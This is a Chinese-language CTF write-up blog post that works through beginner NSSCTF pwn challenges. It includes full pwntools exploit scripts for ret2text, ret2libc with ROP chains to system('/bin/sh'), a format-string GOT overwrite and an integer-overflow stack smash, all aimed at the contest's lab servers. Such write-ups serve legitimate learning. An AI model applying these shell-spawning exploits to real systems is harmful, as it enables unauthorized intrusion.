buu的题那个梯度我觉得没啥意思,跑来NSS开刷,放个nss的网站先:
虽然水平已经超过了简单的栈题不少了,但是还是从头刷吧,毕竟很享受这种炸鱼和全绿的快感
然后nss上面题的顺序很怪异,我是按照第一个点进去之后下一个题的形式刷的,我也不知道后续看我博客的人是怎么个刷法,所以题名边上我挂个id吧,顺序我也不管了
0x01 nc id389
su开启root权限然后catflag,后面看了下题解还有python绕过的方法,咱也不知道哪个是预期
0x02 gift id390
简单的ret2text,exp写完忘存了..
0x03 whitegive id391
ret2libc,这题searcher不太好使,不知道为什么,很烦人
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
r=remote("node2.anna.nssctf.cn",28101)
#r=process("./nss2")
elf=ELF("./nss3")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def dbg():
gdb.attach(r)
pause()
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
vuln_addr=0x4006ba
rdi_ret=0x400763
payload1=b'a'*0x18+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
r.sendline(payload1)
puts_addr=u64(r.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
print("puts="+hex(puts_addr))
libc=LibcSearcher("puts",puts_addr)
libc_base=puts_addr-libc.dump("puts")
sys_addr=libc_base+libc.dump("system")
binsh_addr=libc_base+0x18ce57
payload2=b'a'*0x18+p64(rdi_ret)+p64(binsh_addr)+p64(sys_addr)
r.sendline(payload2)
r.interactive()
0x04 [CISCN 2019华北]PWN1 id100
简单的覆写,?8想?+
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
r=remote("node1.anna.nssctf.cn",28070)
#r=process("./nss2")
elf=ELF("./nss")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def dbg():
gdb.attach(r)
pause()
payload=b'a'*0x2c+p32(0x41348000)
r.sendline(payload)
r.interactive()
0x05 NSS_printer_I id392
什么jb玩意,不够溢出,但是栈上有基址和脏数据可以泄露libc
然后got表劫持,改printf为system输入binsh
我为什么骂呢,因为拿工具写必须得写一个write_size='short',限制逐byte写,不加就写不进去,但是完事之后看别的exp有的也能写,不知道为什么但怀疑可能是2.23libc的事,有点闹心
exp:
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
r=remote("node1.anna.nssctf.cn",28737)
#r=process("./nss2")
elf=ELF("./nss")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def dbg():
gdb.attach(r)
pause()
r.recvuntil("say: ")
r.sendline("%21$p-%25$p")
r.recvuntil("said:")
main=int(r.recv(14),16)-240
print("main="+hex(main))
r.recvuntil("-")
base=int(r.recv(14),16)-0xa14
print("base="+hex(base))
printf_got=base+elf.got["printf"]
libc=LibcSearcher("__libc_start_main",main)
libc_base=main-libc.dump("__libc_start_main")
sysaddr=libc_base+libc.dump("system")
binsh_addr=libc_base+libc.dump("str_bin_sh")
payload1=fmtstr_payload(6,{printf_got:sysaddr},write_size='short')
r.sendline(payload1)
r.sendline(b'/bin/sh\x00')
r.interactive()
0x06 [BJDCTF 2020]babystack2.0 id709
跑的时候直接报段错误,甚至连pwntools的elf都出错,8懂
但是题本身就是一个简单的整数溢出,输入一个负数之后下面的无符号转换可以转换出一个巨大的数去ret2text,
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
r=remote("node4.anna.nssctf.cn",28868)
#r=process("./nss2")
#elf=ELF("./nss")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def dbg():
gdb.attach(r)
pause()
backdoor=0x400726
r.sendline("-1")
payload=b'a'*0x18+p64(backdoor)
r.sendline(payload)
r.interactive()
0x07 [NISACTF 2022]ReorPwn? id2158
hhhhh这个题确实好玩,不想放解题过程了,确实是repwn
看懂逻辑的估计也不用exp,随便就做出来了,逻辑也不是很难懂,真滴好玩
0x08 [BJDCTF 2020]babystack id705
能控制溢出长度的ret2️⃣text
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
r = remote('node4.anna.nssctf.cn',28212)
backdoor = 0x04006EA
payload = b'a' * 0x18 + p64(backdoor)
r.sendlineafter('name:\n','-1')
r.sendlineafter('name?',payload)
r.interactive()
0x09 [BJDCTF 2020]babyrouter id706
进去乍一看一堆case还以为什么堆题,结果看到个system,得
疑似拿不了shell,那就cat吧
0x0a [BJDCTF 2020]dizzy id710
什么JB怪题,又是类似于repwn的那么个东西,看懂指针和逻辑,能看出来只经过了一次+114514的加密,但是要通过u32去发送,感觉很怪,查来查去看了一遍也不是很完全懂,贴个exp算了
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(arch='i386',os='linux')
#context(log_level='debug')
r=remote("node4.anna.nssctf.cn",28013)
#r=process("./nss2")
#elf=ELF("./nss")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def sl(a):
r.sendline(a)
def rcvtil(a):
r.recvuntil(a)
def getaddr64():
u64(r.recvuntil("\x7f"[-6:].ljust(8,b"\x00")))
def getaddr32():
u32(r.recv(4))
def dbg():
gdb.attach(r)
pause()
flag="PvvN| 1S S0 GREAT!;/bin/sh\x00\x00"
for i in range(7):
a= i * 4
r.sendline(str(u32(flag[a:a+4])-114514))
for i in range(13):
r.sendline("2224252424")
r.interactive()
0x0b [HNCTF 2022 Week1]easync id2928
有丶意思,8是普通的nc题,有点看linux命令的运用了,考虑收编
会用cd和ls就好:
先到这,后续刷的题都放在这,遇到什么好题也放在这个合集里面,to be continued
0x0c Yukkurisay(2023hgameweek2)
放这个题之前说个一两句题外话,之前拿hexo搭了一个静态博客,结果不知道为什么崩掉了然后我搬到了博客园,把之前花过一些时间研究的第一道非栈格式化字符串放到这里吧